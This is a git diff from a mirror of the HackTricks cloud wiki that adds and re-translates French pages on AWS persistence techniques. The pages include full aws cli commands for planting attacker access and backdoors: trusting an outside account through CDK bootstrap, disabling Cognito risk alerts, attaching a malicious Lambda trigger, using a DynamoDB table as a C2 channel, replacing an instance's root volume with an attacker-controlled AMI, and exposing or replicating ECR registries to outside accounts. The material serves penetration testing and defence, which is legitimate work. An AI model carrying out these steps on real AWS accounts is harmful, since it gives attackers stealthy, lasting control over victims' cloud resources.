mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-21 23:00:44 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-unauthenticated-enum-
This commit is contained in:
@@ -1,32 +0,0 @@
|
||||
# AWS - API Gateway Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
Pour plus d'informations, allez à :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Politique de Ressource
|
||||
|
||||
Modifiez la politique de ressource des API gateway pour vous accorder l'accès.
|
||||
|
||||
### Modifier les Authorizers Lambda
|
||||
|
||||
Modifiez le code des authorizers lambda pour vous accorder l'accès à tous les points de terminaison.\
|
||||
Ou supprimez simplement l'utilisation de l'authorizer.
|
||||
|
||||
### Permissions IAM
|
||||
|
||||
Si une ressource utilise un authorizer IAM, vous pourriez vous accorder l'accès en modifiant les permissions IAM.\
|
||||
Ou supprimez simplement l'utilisation de l'authorizer.
|
||||
|
||||
### Clés API
|
||||
|
||||
Si des clés API sont utilisées, vous pourriez les leak pour maintenir la persistance ou même en créer de nouvelles.\
|
||||
Ou supprimez simplement l'utilisation des clés API.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,32 @@
|
||||
# AWS - API Gateway Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
Pour plus d'informations, voir :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Resource Policy
|
||||
|
||||
Modifiez la resource policy de l'API gateway(s) pour vous accorder l'accès.
|
||||
|
||||
### Modify Lambda Authorizers
|
||||
|
||||
Modifiez le code des lambda authorizers pour vous accorder l'accès à tous les endpoints.\
|
||||
Ou supprimez simplement l'utilisation de l'authorizer.
|
||||
|
||||
### IAM Permissions
|
||||
|
||||
Si une ressource utilise un IAM authorizer, vous pouvez vous donner l'accès en modifiant les IAM permissions.\
|
||||
Ou supprimez simplement l'utilisation de l'authorizer.
|
||||
|
||||
### API Keys
|
||||
|
||||
Si des API keys sont utilisées, vous pouvez les leak pour maintenir la persistance ou même en créer de nouvelles.\
|
||||
Ou supprimez simplement l'utilisation des API keys.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,23 +0,0 @@
|
||||
# AWS - Cloudformation Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
Pour plus d'informations, accédez à :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
Le AWS CDK déploie une pile CFN appelée `CDKToolkit`. Cette pile prend en charge un paramètre `TrustedAccounts` qui permet aux comptes externes de déployer des projets CDK dans le compte de la victime. Un attaquant peut en abuser pour se donner un accès indéfini au compte de la victime, soit en utilisant l'interface en ligne de commande AWS pour redéployer la pile avec des paramètres, soit l'interface en ligne de commande AWS CDK.
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,23 @@
|
||||
# AWS - Cloudformation Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
L'AWS CDK déploie une stack CFN appelée `CDKToolkit`. Cette stack prend en charge un paramètre `TrustedAccounts` qui permet à des comptes externes de déployer des projets CDK dans le compte victime. Un attaquant peut abuser de cela pour s'octroyer un accès indéfini au compte victime, soit en utilisant l'AWS cli pour redéployer la stack avec des paramètres, soit en utilisant l'AWS CDK cli.
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,40 +0,0 @@
|
||||
# AWS - Cognito Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cognito
|
||||
|
||||
Pour plus d'informations, accédez à :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Persistance des utilisateurs
|
||||
|
||||
Cognito est un service qui permet d'attribuer des rôles aux utilisateurs non authentifiés et authentifiés et de contrôler un annuaire d'utilisateurs. Plusieurs configurations différentes peuvent être modifiées pour maintenir une certaine persistance, comme :
|
||||
|
||||
- **Ajouter un User Pool** contrôlé par l'utilisateur à un Identity Pool
|
||||
- Donner un **rôle IAM à un Identity Pool non authentifié et permettre le flux d'authentification de base**
|
||||
- Ou à un **Identity Pool authentifié** si l'attaquant peut se connecter
|
||||
- Ou **améliorer les permissions** des rôles donnés
|
||||
- **Créer, vérifier & privesc** via des utilisateurs contrôlés par des attributs ou de nouveaux utilisateurs dans un **User Pool**
|
||||
- **Permettre aux fournisseurs d'identité externes** de se connecter dans un User Pool ou dans un Identity Pool
|
||||
|
||||
Vérifiez comment effectuer ces actions dans
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-cognito-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
Un attaquant avec ce privilège pourrait modifier la configuration des risques pour pouvoir se connecter en tant qu'utilisateur Cognito **sans que des alarmes ne soient déclenchées**. [**Consultez le cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) pour vérifier toutes les options :
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
Par défaut, cela est désactivé :
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,40 @@
|
||||
# AWS - Cognito Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cognito
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### User persistence
|
||||
|
||||
Cognito est un service qui permet d'attribuer des rôles aux utilisateurs non authentifiés et authentifiés et de contrôler un annuaire d'utilisateurs. Plusieurs configurations différentes peuvent être modifiées pour maintenir une certaine persistance, comme :
|
||||
|
||||
- **Adding a User Pool** contrôlé par l'utilisateur à un Identity Pool
|
||||
- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
|
||||
- Ou à un **authenticated Identity Pool** si l'attaquant peut se connecter
|
||||
- Ou **améliorer les permissions** des rôles donnés
|
||||
- **Create, verify & privesc** via des utilisateurs contrôlés par des attributs ou de nouveaux utilisateurs dans un **User Pool**
|
||||
- **Allowing external Identity Providers** à se connecter dans un User Pool ou dans un Identity Pool
|
||||
|
||||
Check how to do these actions in
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-cognito-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
Un attaquant disposant de ce privilège pourrait modifier la configuration des risques pour pouvoir se connecter en tant qu'utilisateur Cognito **sans déclencher d'alertes**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
Par défaut, ceci est désactivé :
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,18 +1,18 @@
|
||||
# AWS - Persistance DynamoDB
|
||||
# AWS - DynamoDB Persistance
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### DynamoDB
|
||||
|
||||
Pour plus d'informations, accédez à :
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
../../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Déclencheurs DynamoDB avec une porte dérobée Lambda
|
||||
### Déclencheurs DynamoDB avec Lambda Backdoor
|
||||
|
||||
En utilisant des déclencheurs DynamoDB, un attaquant peut créer une **porte dérobée discrète** en associant une fonction Lambda malveillante à une table. La fonction Lambda peut être déclenchée lorsqu'un élément est ajouté, modifié ou supprimé, permettant à l'attaquant d'exécuter du code arbitraire au sein du compte AWS.
|
||||
En utilisant les déclencheurs DynamoDB, un attaquant peut créer une **backdoor furtive** en associant une fonction Lambda malveillante à une table. La fonction Lambda peut être déclenchée lorsqu'un élément est ajouté, modifié ou supprimé, permettant à l'attaquant d'exécuter du code arbitraire dans le compte AWS.
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
@@ -36,9 +36,9 @@ aws lambda create-event-source-mapping \
|
||||
```
|
||||
Pour maintenir la persistance, l'attaquant peut créer ou modifier des éléments dans la table DynamoDB, ce qui déclenchera la fonction Lambda malveillante. Cela permet à l'attaquant d'exécuter du code au sein du compte AWS sans interaction directe avec la fonction Lambda.
|
||||
|
||||
### DynamoDB comme canal C2
|
||||
### DynamoDB comme un command and control (C2) channel
|
||||
|
||||
Un attaquant peut utiliser une table DynamoDB comme un **canal de commande et de contrôle (C2)** en créant des éléments contenant des commandes et en utilisant des instances compromises ou des fonctions Lambda pour récupérer et exécuter ces commandes.
|
||||
Un attaquant peut utiliser une table DynamoDB comme un **command and control (C2) channel** en créant des éléments contenant des commandes et en utilisant des instances compromises ou des fonctions Lambda pour récupérer et exécuter ces commandes.
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
@@ -54,6 +54,6 @@ aws dynamodb put-item \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
Les instances compromises ou les fonctions Lambda peuvent vérifier périodiquement la table C2 pour de nouvelles commandes, les exécuter et, en option, rapporter les résultats à la table. Cela permet à l'attaquant de maintenir la persistance et le contrôle sur les ressources compromises.
|
||||
Les instances compromises ou les fonctions Lambda peuvent périodiquement consulter la C2 table pour de nouvelles commandes, les exécuter et, éventuellement, rapporter les résultats dans la table. Cela permet à l'attaquant de maintenir persistence et contrôle sur les ressources compromises.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,54 +0,0 @@
|
||||
# AWS - EC2 Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Persistence de suivi de connexion du groupe de sécurité
|
||||
|
||||
Si un défenseur découvre qu'une **instance EC2 a été compromise**, il essaiera probablement d'**isoler** le **réseau** de la machine. Il pourrait le faire avec un **Deny NACL** explicite (mais les NACL affectent tout le sous-réseau), ou en **modifiant le groupe de sécurité** pour ne pas permettre **aucun type de trafic entrant ou sortant**.
|
||||
|
||||
Si l'attaquant avait un **reverse shell provenant de la machine**, même si le SG est modifié pour ne pas permettre de trafic entrant ou sortant, la **connexion ne sera pas interrompue en raison de** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
### Gestionnaire de cycle de vie EC2
|
||||
|
||||
Ce service permet de **programmer** la **création d'AMIs et de snapshots** et même de **les partager avec d'autres comptes**.\
|
||||
Un attaquant pourrait configurer la **génération d'AMIs ou de snapshots** de toutes les images ou de tous les volumes **toutes les semaines** et **les partager avec son compte**.
|
||||
|
||||
### Instances programmées
|
||||
|
||||
Il est possible de programmer des instances pour s'exécuter quotidiennement, hebdomadairement ou même mensuellement. Un attaquant pourrait exécuter une machine avec des privilèges élevés ou un accès intéressant où il pourrait accéder.
|
||||
|
||||
### Demande de flotte Spot
|
||||
|
||||
Les instances Spot sont **moins chères** que les instances régulières. Un attaquant pourrait lancer une **petite demande de flotte Spot pour 5 ans** (par exemple), avec une **attribution automatique d'IP** et des **données utilisateur** qui envoient à l'attaquant **quand l'instance Spot démarre** et l'**adresse IP** et avec un **rôle IAM à privilèges élevés**.
|
||||
|
||||
### Instances de porte dérobée
|
||||
|
||||
Un attaquant pourrait accéder aux instances et les compromettre :
|
||||
|
||||
- En utilisant un **rootkit** traditionnel par exemple
|
||||
- En ajoutant une nouvelle **clé SSH publique** (voir [options de privesc EC2](../aws-privilege-escalation/aws-ec2-privesc.md))
|
||||
- En compromettant les **données utilisateur**
|
||||
|
||||
### **Configuration de lancement de porte dérobée**
|
||||
|
||||
- Compromettre l'AMI utilisée
|
||||
- Compromettre les données utilisateur
|
||||
- Compromettre la paire de clés
|
||||
|
||||
### VPN
|
||||
|
||||
Créer un VPN afin que l'attaquant puisse se connecter directement à travers celui-ci au VPC.
|
||||
|
||||
### Peering VPC
|
||||
|
||||
Créer une connexion de peering entre le VPC de la victime et le VPC de l'attaquant afin qu'il puisse accéder au VPC de la victime.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,62 @@
|
||||
# AWS - EC2 Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2
|
||||
|
||||
Pour plus d'informations, voir :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Security Group Connection Tracking Persistence
|
||||
|
||||
Si un défenseur découvre qu'une **instance EC2 a été compromise**, il essaiera probablement d'**isoler** le **réseau** de la machine. Il pourrait le faire avec un **Deny NACL** explicite (mais les NACLs affectent l'ensemble du subnet), ou en **modifiant le security group** pour n'autoriser **aucun trafic entrant ou sortant**.
|
||||
|
||||
Si l'attaquant disposait d'un **reverse shell initié depuis la machine**, même si le SG est modifié pour ne pas permettre de trafic entrant ou sortant, la **connexion ne sera pas terminée en raison de** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
### EC2 Lifecycle Manager
|
||||
|
||||
Ce service permet de **planifier** la **création d'AMIs et de snapshots** et même de **les partager avec d'autres comptes**.\
|
||||
Un attaquant pourrait configurer la **génération d'AMIs ou de snapshots** de toutes les images ou de tous les volumes **chaque semaine** et **les partager avec son compte**.
|
||||
|
||||
### Scheduled Instances
|
||||
|
||||
Il est possible de planifier l'exécution d'instances quotidiennement, hebdomadairement ou même mensuellement. Un attaquant pourrait faire tourner une machine disposant de privilèges élevés ou d'un accès intéressant auquel il pourrait accéder.
|
||||
|
||||
### Spot Fleet Request
|
||||
|
||||
Les Spot instances sont **moins chères** que les instances régulières. Un attaquant pourrait lancer une **petite spot fleet request pour 5 year** (par exemple), avec une attribution **automatique d'IP** et un **user data** qui envoie à l'attaquant **lorsque la spot instance démarre** l'**adresse IP**, et avec un **IAM role** hautement privilégié.
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
Un attaquant pourrait obtenir l'accès aux instances et les backdoorer :
|
||||
|
||||
- En utilisant un **rootkit** traditionnel par exemple
|
||||
- En ajoutant une nouvelle **public SSH key** (check [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
|
||||
- Installer une backdoor dans le **User Data**
|
||||
|
||||
### **Backdoor Launch Configuration**
|
||||
|
||||
- Installer une backdoor dans l'AMI utilisée
|
||||
- Installer une backdoor dans le User Data
|
||||
- Installer une backdoor dans le Key Pair
|
||||
|
||||
### EC2 ReplaceRootVolume Task (Stealth Backdoor)
|
||||
|
||||
Échanger le volume EBS racine d'une instance en cours d'exécution contre un volume construit à partir d'une AMI ou d'un snapshot contrôlé par l'attaquant en utilisant `CreateReplaceRootVolumeTask`. L'instance conserve ses ENIs, IPs, et role, démarrant ainsi dans du code malveillant tout en semblant inchangée.
|
||||
|
||||
{{#ref}}
|
||||
../aws-ec2-replace-root-volume-persistence/README.md
|
||||
{{#endref}}
|
||||
|
||||
### VPN
|
||||
|
||||
Créer un VPN pour que l'attaquant puisse se connecter directement au VPC.
|
||||
|
||||
### VPC Peering
|
||||
|
||||
Créer une connexion de peering entre le VPC victime et le VPC de l'attaquant afin qu'il puisse accéder au VPC victime.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,75 @@
|
||||
# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Exploiter **ec2:CreateReplaceRootVolumeTask** pour remplacer le volume racine EBS d'une instance en cours d'exécution par un volume restauré depuis une AMI ou un snapshot contrôlé par l'attaquant. L'instance redémarre automatiquement et reprend avec le système de fichiers racine contrôlé par l'attaquant tout en conservant les ENIs, les IP privées/publiques, les volumes non-racine attachés, et les métadonnées de l'instance / le rôle IAM.
|
||||
|
||||
## Prérequis
|
||||
- L'instance cible utilise EBS comme stockage racine et s'exécute dans la même région.
|
||||
- AMI ou snapshot compatible : même architecture/virtualisation/mode de démarrage (et codes produit, si applicables) que l'instance cible.
|
||||
|
||||
## Vérifications préalables
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
INSTANCE_ID=<victim instance>
|
||||
|
||||
# Ensure EBS-backed
|
||||
aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceType' --output text
|
||||
|
||||
# Capture current network and root volume
|
||||
ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
|
||||
ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
|
||||
PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
|
||||
ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
|
||||
```
|
||||
## Remplacer le volume racine depuis une AMI (préféré)
|
||||
```bash
|
||||
IMAGE_ID=<attacker-controlled compatible AMI>
|
||||
|
||||
# Start task
|
||||
TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID --query 'ReplaceRootVolumeTaskId' --output text)
|
||||
|
||||
# Poll until state == succeeded
|
||||
while true; do
|
||||
STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
|
||||
echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
|
||||
done
|
||||
```
|
||||
Alternative — en utilisant un snapshot:
|
||||
```bash
|
||||
SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
|
||||
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
|
||||
```
|
||||
## Preuves / Vérification
|
||||
```bash
|
||||
# Instance auto-reboots; network identity is preserved
|
||||
NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
|
||||
|
||||
# Compare before vs after
|
||||
printf "ENI:%s IP:%s
|
||||
ORIG_VOL:%s
|
||||
NEW_VOL:%s
|
||||
" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
|
||||
|
||||
# (Optional) Inspect task details and console output
|
||||
aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --output json
|
||||
aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
|
||||
```
|
||||
Résultat attendu : ENI_ID et PRI_IP restent les mêmes ; l'ID du root volume passe de $ORIG_VOL à $NEW_VOL. Le système démarre avec le système de fichiers provenant de l'AMI/snapshot contrôlée par l'attaquant.
|
||||
|
||||
## Remarques
|
||||
- L'API ne requiert pas que vous arrêtiez manuellement l'instance ; EC2 orchestre un redémarrage.
|
||||
- Par défaut, le volume EBS racine remplacé (ancien) est détaché et laissé dans le compte (DeleteReplacedRootVolume=false). Cela peut être utilisé pour une restauration ou doit être supprimé pour éviter des coûts.
|
||||
|
||||
## Restauration / Nettoyage
|
||||
```bash
|
||||
# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
|
||||
# you can create a snapshot and replace again from it:
|
||||
SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
|
||||
aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
|
||||
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
|
||||
|
||||
# Or simply delete the detached old root volume if not needed:
|
||||
aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,91 +0,0 @@
|
||||
# AWS - ECR Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Image Docker Cachée avec Code Malveillant
|
||||
|
||||
Un attaquant pourrait **télécharger une image Docker contenant du code malveillant** dans un dépôt ECR et l'utiliser pour maintenir la persistance dans le compte AWS cible. L'attaquant pourrait ensuite déployer l'image malveillante sur divers services au sein du compte, tels qu'Amazon ECS ou EKS, de manière furtive.
|
||||
|
||||
### Politique de Dépôt
|
||||
|
||||
Ajoutez une politique à un seul dépôt vous accordant (ou à tout le monde) l'accès à un dépôt :
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Notez que ECR nécessite que les utilisateurs aient **la permission** d'effectuer des appels à l'API **`ecr:GetAuthorizationToken`** via une politique IAM **avant de pouvoir s'authentifier** auprès d'un registre et pousser ou tirer des images de tout dépôt Amazon ECR.
|
||||
|
||||
### Politique de Registre & Réplication Inter-comptes
|
||||
|
||||
Il est possible de répliquer automatiquement un registre dans un compte externe en configurant la réplication inter-comptes, où vous devez **indiquer le compte externe** dans lequel vous souhaitez répliquer le registre.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Tout d'abord, vous devez donner au compte externe un accès sur le registre avec une **politique de registre** comme :
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
Ensuite, appliquez la configuration de réplication :
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,145 @@
|
||||
# AWS - ECR Persistance
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Image Docker cachée contenant du code malveillant
|
||||
|
||||
Un attaquant pourrait **téléverser une image Docker contenant du code malveillant** dans un repository ECR et l'utiliser pour maintenir la persistance dans le compte AWS cible. L'attaquant pourrait ensuite déployer l'image malveillante sur divers services du compte, tels que Amazon ECS ou EKS, de manière discrète.
|
||||
|
||||
### Politique du dépôt
|
||||
|
||||
Ajoutez une politique à un dépôt unique pour vous accorder (ou accorder à tout le monde) l'accès au dépôt :
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Notez que ECR exige que les utilisateurs disposent de **l'autorisation** d'appeler l'API **`ecr:GetAuthorizationToken`** via une stratégie IAM **avant de pouvoir s'authentifier** sur un registre et pousser ou tirer des images depuis n'importe quel dépôt Amazon ECR.
|
||||
|
||||
### Politique de registre et réplication inter-comptes
|
||||
|
||||
Il est possible de répliquer automatiquement un registre dans un compte externe en configurant la réplication inter-comptes, où vous devez **indiquer le compte externe** dans lequel vous souhaitez répliquer le registre.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Tout d'abord, vous devez accorder au compte externe l'accès au registre via une **politique de registre** telle que :
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
Ensuite, appliquez la configuration de réplication :
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
